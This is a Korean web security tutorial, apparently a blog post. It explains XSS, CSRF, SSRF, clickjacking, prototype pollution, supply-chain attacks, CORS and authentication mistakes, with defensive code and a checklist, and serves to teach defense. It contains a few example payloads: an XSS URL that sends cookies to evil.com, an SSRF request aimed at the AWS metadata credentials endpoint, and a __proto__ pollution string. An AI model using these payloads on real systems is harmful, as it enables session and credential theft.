✍️ 필사 모드: 웹 보안 공격·방어 실전 — XSS, CSRF, SSRF, Clickjacking, Prototype Pollution, Supply Chain, CORS 완전 가이드 (2025)
한국어왜 '공격 기술' 글이 필요한가
개발자가 OWASP Top 10이 있는 건 안다. 그러나 그 의미가 자기 코드 어디에 있는지 모른다. 보안은 이론이 아니다. 구체적인 공격 기법과, 구체적인 방어 코드로 배워야 한다.
- 2024년 CVE 등록 수: 사상 최고치 경신, 28,000건 이상.
- npm 공격이 GitHub Dependabot으로 30% 감소했으나, 여전히 주간 수백 건.
- AI 생성 코드는 평균 40% 더 높은 취약점 밀도(Stanford 2024).
2025년에도 당신의 앱이 해킹당하는 방식은 대부분 여기에 나온 10가지 중 하나다.
Part 1 — XSS (Cross-Site Scripting)
3종류
1. Reflected XSS
https://app.com/search?q=<script>fetch('//evil.com?c='+document.cookie)</script>
서버가 q를 그대로 HTML에 삽입. URL 한 번 클릭으로 탈취.
2. Stored XSS
댓글, 프로필 같은 영구 저장소에 악성 스크립트 저장. 최악 — 방문자 전체가 영향.
3. DOM-based XSS
서버는 멀쩡. 클라이언트 JS가 location.hash나 postMessage를 무검증으로 DOM에 삽입.
// 나쁨
document.getElementById('welcome').innerHTML = `Hello ${location.hash.slice(1)}`;
방어 계층
1. 출력 이스케이핑 (기본)
- React, Vue, Svelte는 기본적으로 이스케이프.
- 단,
dangerouslySetInnerHTML,v-html,{@html}사용 시 뚫림. - 사용자가 HTML을 제공해야 한다면 DOMPurify로 sanitize.
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml);
2. CSP (Content Security Policy)
가장 강력한 XSS 방어.
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-rAnd0m' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' https: data:;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
- nonce: 서버가 응답마다 랜덤 값 생성,
<script nonce="...">에 포함. - strict-dynamic: 신뢰된 스크립트가 로드한 스크립트도 실행 허용.
- 'unsafe-inline' 절대 X — 90%의 CSP 우회가 여기서 시작.
3. Trusted Types (Chrome 83+, Firefox/Safari 미지원 → polyfill)
"위험한 sink(innerHTML 등)에 문자열 직접 할당 금지."
Content-Security-Policy: require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('my-policy', {
createHTML: (input) => DOMPurify.sanitize(input)
});
element.innerHTML = policy.createHTML(userInput);
Google에서 의무화 후 자사 앱 XSS 리포트가 급감.
4. 프레임워크 안전한 API
- React:
dangerouslySetInnerHTML대신 일반 children. - Vue:
v-html대신{{ }}. - Angular:
[innerHTML]+DomSanitizer.
Part 2 — CSRF (Cross-Site Request Forgery)
원리
공격자 사이트가 <form action="https://bank.com/transfer" method="POST">를 자동 제출. 피해자의 쿠키가 자동 전송되어 요청 성공.
2020년 이전 방어: CSRF Token
- 서버가 토큰 발급 → form hidden field에 포함 → 검증.
- Django, Rails가 기본 내장.
2020년 이후: SameSite Cookie
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/
- Lax (2020년 Chrome 기본): top-level navigation GET만 허용.
- Strict: 크로스 사이트에선 절대 안 보냄.
- None: 무관(
Secure필수).
대부분의 CSRF가 SameSite Lax로 자동 방어됨. 단, 다음 케이스는 여전히 토큰 필요:
- GET 요청이 상태를 변경하는 경우(RESTful 위반).
- 서브도메인 간 요청.
- CORS로 열어둔 POST 엔드포인트.
Double Submit Cookie
서버 세션 없이 CSRF 방어. 쿠키와 요청 헤더에 같은 토큰을 보내 검증. SPA + 토큰 인증에 자주 쓴다.
Part 3 — SSRF (Server-Side Request Forgery)
2019 Capital One 사건
공격자(Paige Thompson)가 AWS EC2 메타데이터(169.254.169.254)에 서버 측에서 요청하도록 유도, IAM 자격증명 탈취 → S3 버킷 1억 명 데이터 유출.
공격 패턴
# 서버 코드
@app.route('/fetch')
def fetch():
url = request.args.get('url')
return requests.get(url).text
# 공격: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
방어
-
IMDSv2 사용 (AWS) — 토큰 기반, GET에서 세션 필요.
MetadataOptions: HttpTokens: required HttpPutResponseHopLimit: 1 -
URL 검증 — 스킴·호스트·포트·DNS resolve 후 IP 검증.
- 사설 IP 대역 차단(10/8, 172.16/12, 192.168/16, 127/8, 169.254/16).
- DNS Rebinding 방어 — 검증 후 실제 요청 직전에 재검증.
-
네트워크 분리 — SSRF 위험 코드는 메타데이터에 접근 못 하는 VPC/서브넷에 배치.
-
아웃바운드 프록시 — 허용 목록 기반 강제 프록시 경유.
-
Fetch 라이브러리의
redirect: 'manual'— 리다이렉트로 내부 접근 우회 방지.
추가 포인트: 0.0.0.0, IPv6, 단축 URL
http://0.0.0.0/→ 로컬 바인드 주소로 해석.http://[::1]/→ IPv6 루프백.http://bit.ly/...→ 리다이렉트로 내부 대상.
Part 4 — Clickjacking
원리
공격자 사이트가 피해 사이트를 <iframe>으로 투명하게 덮어씌우고 사용자의 클릭을 가로챔.
방어
X-Frame-Options: DENY
또는
Content-Security-Policy: frame-ancestors 'none'
frame-ancestors가 더 강력하고 유연(여러 도메인 허용 가능). X-Frame-Options는 레거시지만 여전히 추가하는 게 안전.
사용자 관점 방어: 중요한 액션(결제, 비밀번호 변경)엔 재인증 또는 추가 확인 단계.
Part 5 — Prototype Pollution
원리 (Node.js / 브라우저 JS 공통)
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign({}, payload);
// 이후 모든 객체가 isAdmin: true를 가짐
({}).isAdmin // true
실제 CVE
- Lodash (2019,
_.merge) — 수백만 앱 영향. - jQuery
$.extend(true, ...). - minimist (2020) — 수많은 CLI 도구 영향.
방어
- 재귀 merge 시
__proto__,constructor,prototype필터링. - Object.freeze(Object.prototype) — 가능하면 앱 시작 시.
- Map 사용 — 임의 키를 저장할 땐 plain object 대신 Map.
Object.create(null)— 프로토타입 없는 객체.
function safeMerge(target, source) {
for (const key in source) {
if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;
target[key] = source[key];
}
}
Part 6 — Supply Chain 공격
대표 사건
event-stream (2018)
npm 주간 2M 다운로드 패키지에 악성 코드 삽입. Copay 암호화폐 지갑이 표적. 피해자 지갑의 BTC 탈취 시도.
ua-parser-js (2021)
주간 6M 다운로드. 공격자가 유지보수자 계정 탈취 후 악성 버전 배포.
xz-utils (2024)
거의 모든 리눅스에 포함되는 압축 라이브러리. "Jia Tan"이 2년에 걸쳐 유지보수자 자격 획득 후 OpenSSH 백도어 삽입. Microsoft 엔지니어 Andres Freund가 우연히 발견.
SolarWinds (2020)
빌드 파이프라인 자체가 침투당함. 악성 코드가 서명된 업데이트에 포함되어 18,000 고객에 배포.
방어
- Lock 파일 커밋 —
package-lock.json,pnpm-lock.yaml. npm ci— CI에서 lock 준수.- 자동 의존성 업데이트 + 검토 — Dependabot / Renovate.
- 취약점 스캐너 — Snyk, GitHub Advisory,
npm audit. - SBOM 생성 — Syft로 구성요소 목록화.
- 서명 검증 — npm 2023+ provenance, Sigstore/cosign.
- OSSF Scorecard — 패키지 보안 점수 확인.
- Least-privilege CI — 빌드 서버가 필요 이상 권한을 안 갖게.
Typosquatting
rquest (실제는 request), lodas (실제는 lodash) — 오타를 노린 악성 패키지. 정식 이름 복사 버릇을 들이자.
Part 7 — CORS 완전 이해
많은 개발자의 오해
"CORS를 풀면 보안이 풀린다." 틀렸다. CORS는 보안 기능이 아니라 같은 출처 정책(SOP)의 예외 허용 메커니즘이다. SOP가 기본 방패이고, CORS는 그 방패에 구멍을 뚫는 도구.
기본 규칙
브라우저가 크로스 오리진 요청을 보낼 때:
- 단순 요청: GET/HEAD/POST + 특정 Content-Type → 바로 전송, 응답에
Access-Control-Allow-Origin있으면 읽기 허용. - 사전 요청(preflight): PUT/DELETE/커스텀 헤더/JSON POST → 먼저 OPTIONS 요청으로 확인.
흔한 실수
1. Access-Control-Allow-Origin: * + Allow-Credentials: true
브라우저가 거부. 와일드카드면 자격증명 포함 불가. 반드시 특정 오리진 echo.
// 나쁨
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
// 좋음 (허용 목록 체크 후)
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin');
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
2. Origin을 그대로 echo
정규식 체크 없이 echo하면 어떤 사이트든 자격증명 읽기 가능 → 심각.
3. Vary: Origin 누락
캐시가 잘못된 응답을 다른 오리진에 서빙.
CORS와 보안의 관계
- CORS가 열려 있다고 토큰이 유출되진 않는다 — HttpOnly 쿠키/Authorization 헤더는 여전히 안전.
- 단, CSRF 방어가 SameSite+Origin 검증에 의존할 때, CORS 설정 실수가 인증된 요청 허용을 만든다.
Part 8 — Rate Limiting & Bot Defense
왜 필요한가
- 로그인 brute force
- 등록 스팸
- 스크래핑으로 인한 비용 폭증
- AI 오버유저로 인한 API 남용
전략
- IP 기반 토큰 버킷 — Redis
INCR+ TTL이 흔한 구현. - 사용자/계정 기반 — 로그인 후는 IP보다 계정 단위.
- Sliding Window — 정확하지만 비용 높음.
- CDN/Edge 단에서 차단 — Cloudflare, Fastly, Vercel Firewall.
Bot Detection
- Cloudflare Turnstile (2022) — 사용자 경험 좋은 CAPTCHA 대체.
- hCaptcha, Google reCAPTCHA v3.
- Arkose Labs — 금융권 표준.
- Device Fingerprinting — FingerprintJS.
응답 정책
- 429 Too Many Requests +
Retry-After헤더. - 침묵 실패보다 명확한 에러가 사용자·지원팀 모두에 이득.
- 공격자 대상엔 **지연 응답(tarpit)**으로 시간 낭비 유도.
Part 9 — 인증의 흔한 실수
1. JWT를 로컬스토리지에 저장
XSS 한 번에 탈취. HttpOnly 쿠키를 써라.
2. 비밀번호 해싱에 SHA-256
Argon2id, bcrypt, scrypt만. 일반 해시는 GPU로 초당 수억 번 역산.
3. 비밀번호 복구 토큰이 예측 가능
btoa(email + Date.now()) 같은 실수. 암호학적 난수 + 짧은 TTL + 1회 사용.
4. 이메일 열거(Enumeration)
"이 이메일은 가입되어 있지 않습니다" → 공격자가 회원 목록 수집. 응답을 일관되게.
5. 세션 고정(Session Fixation)
로그인 성공 시 세션 ID를 반드시 회전.
Part 10 — HTTPS와 인증서의 실수
HSTS 미설정
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
초기 HTTP 요청의 MITM 방어. preload 목록에 등록하면 첫 방문도 보호.
인증서 고정(Pinning)의 함정
모바일 앱에 공개키 고정. 인증서 갱신 시 앱을 새로 배포 못 하면 전체 사용자 중단. 서비스 사용자 수천만이면 고정하지 말라. CT(Certificate Transparency) 모니터링이 더 실용적.
Let's Encrypt + 자동 갱신
- 90일 인증서 → 자동 갱신 필수.
- 2024년 **ACME Renewal Info(ARI)**로 갱신 타이밍 지능화.
- rustls-acme, lego, certbot, Caddy(내장).
Part 11 — 실무 체크리스트 (12항목)
- CSP를 처음부터 — 런타임에 붙이면 항상
unsafe-inline이 남는다. - SameSite=Lax 기본 — 예외 시만 None.
- HttpOnly + Secure — 세션 쿠키는 자명.
- IMDSv2 강제 — AWS 사용 시 필수.
- URL fetch는 SSRF 프록시 경유 — 직접
fetch(userUrl)금지. - 의존성은 lock 파일 + 자동 감사.
- 모든 외부 입력은 스키마 검증 (Zod 등).
- 출력 sink는 sanitize — innerHTML 할당 전 DOMPurify.
- 비밀번호는 Argon2id — 단, 기존 bcrypt도 괜찮음.
- Rate Limit + 로그인 실패 지수 지연.
- 시크릿은 Vault/Secrets Manager —
.env파일 커밋 X. - 보안 헤더 모두 설정 — HSTS, CSP, XFO, XCTO, Referrer-Policy, Permissions-Policy.
Part 12 — 10대 안티패턴
innerHTML = userData— XSS 직행.dangerouslySetInnerHTML남용 — sanitize 없이 사용.Access-Control-Allow-Origin: *+ 자격증명.- URL fetch를 어떤 검증도 없이.
eval,Function(string),setTimeout(string).- JWT를 localStorage에 — XSS 한 번에 모든 것.
- 비밀번호 재설정 토큰이 단순 숫자 / 시간 기반.
- 에러 메시지에 내부 정보 노출 — 스택 트레이스·쿼리·토큰.
- CAPTCHA 없이 무한 시도 허용.
- "HTTPS니까 안전하다" — 전송 보안은 기본. 인증·인가는 별개.
Part 13 — 학습 & 실습 리소스
- 책: The Web Application Hacker's Handbook (Stuttard & Pinto) — 고전.
- 책: Real-World Bug Hunting (Peter Yaworski) — HackerOne 실제 사례.
- 플랫폼: PortSwigger Web Security Academy (무료).
- 대회/연습: HackTheBox, TryHackMe.
- 도구: Burp Suite, OWASP ZAP, Semgrep, CodeQL.
- 뉴스: Krebs on Security, The Hacker News, GitHub Advisory DB.
- 에세이: 매년 Snyk/Google의 보안 리포트 읽기.
마치며 — 보안은 '기본기'다
이 글의 공격들은 1998년부터 2024년까지 매년 반복되어 온 것들이다. 새 기술이 나와도 기본기를 놓친 앱부터 먼저 뚫린다.
2025년의 엔지니어에게 보안은 **"해커가 하는 특수 분야"**가 아니다. 매일의 코드 리뷰, 매일의 라이브러리 선택, 매일의 API 설계에 녹아 있는 기본기다.
좋은 소식: 이 글에 나온 방어법은 대부분 무료다. CSP, SameSite, DOMPurify, Zod, Dependabot, Cloudflare Turnstile. 설정 한 줄, 라이브러리 하나로 수많은 공격을 무력화한다.
나쁜 소식: "다음 프로젝트엔 꼭 해야지"라고 미루는 것. 이미 배포된 앱이 지금 이 순간도 스캔당하고 있다.
다음 글 예고 — "실전 네트워크 엔지니어링" — TCP 혼잡 제어, TLS 1.3, HTTP/3 QUIC, DNS over HTTPS, BGP, CDN 내부까지
웹 보안이 '무엇을 막을까'였다면, 다음 글은 '어떻게 데이터가 오가는가'다.
- TCP 혼잡 제어의 현대 — BBR, CUBIC, PRR
- TLS 1.3의 혁명 — 1-RTT, 0-RTT, Post-Quantum
- HTTP/3 + QUIC — UDP 기반 재해석
- DNS의 진화 — DoH, DoT, DNSSEC, ECS
- BGP 하이재킹 — Facebook 2021년 6시간 장애의 진짜 원인
- Anycast와 CDN 라우팅 — Cloudflare/Fastly/Akamai
- WebSocket vs SSE vs WebTransport — 실시간 통신의 선택
- Zero RTT의 보안 위험 — replay attack
- eBPF로 네트워크 관측하기
- 프로토콜을 패킷 단위로 이해하기 — Wireshark 실전
"네트워크가 느려요"의 원인을 프로토콜 레이어로 내려가 찾는 법. 다음 글에서.
현재 단락 (1/193)
개발자가 OWASP Top 10이 있는 건 안다. 그러나 그 의미가 **자기 코드 어디에 있는지** 모른다. 보안은 이론이 아니다. **구체적인 공격 기법과, 구체적인 방어 코드*...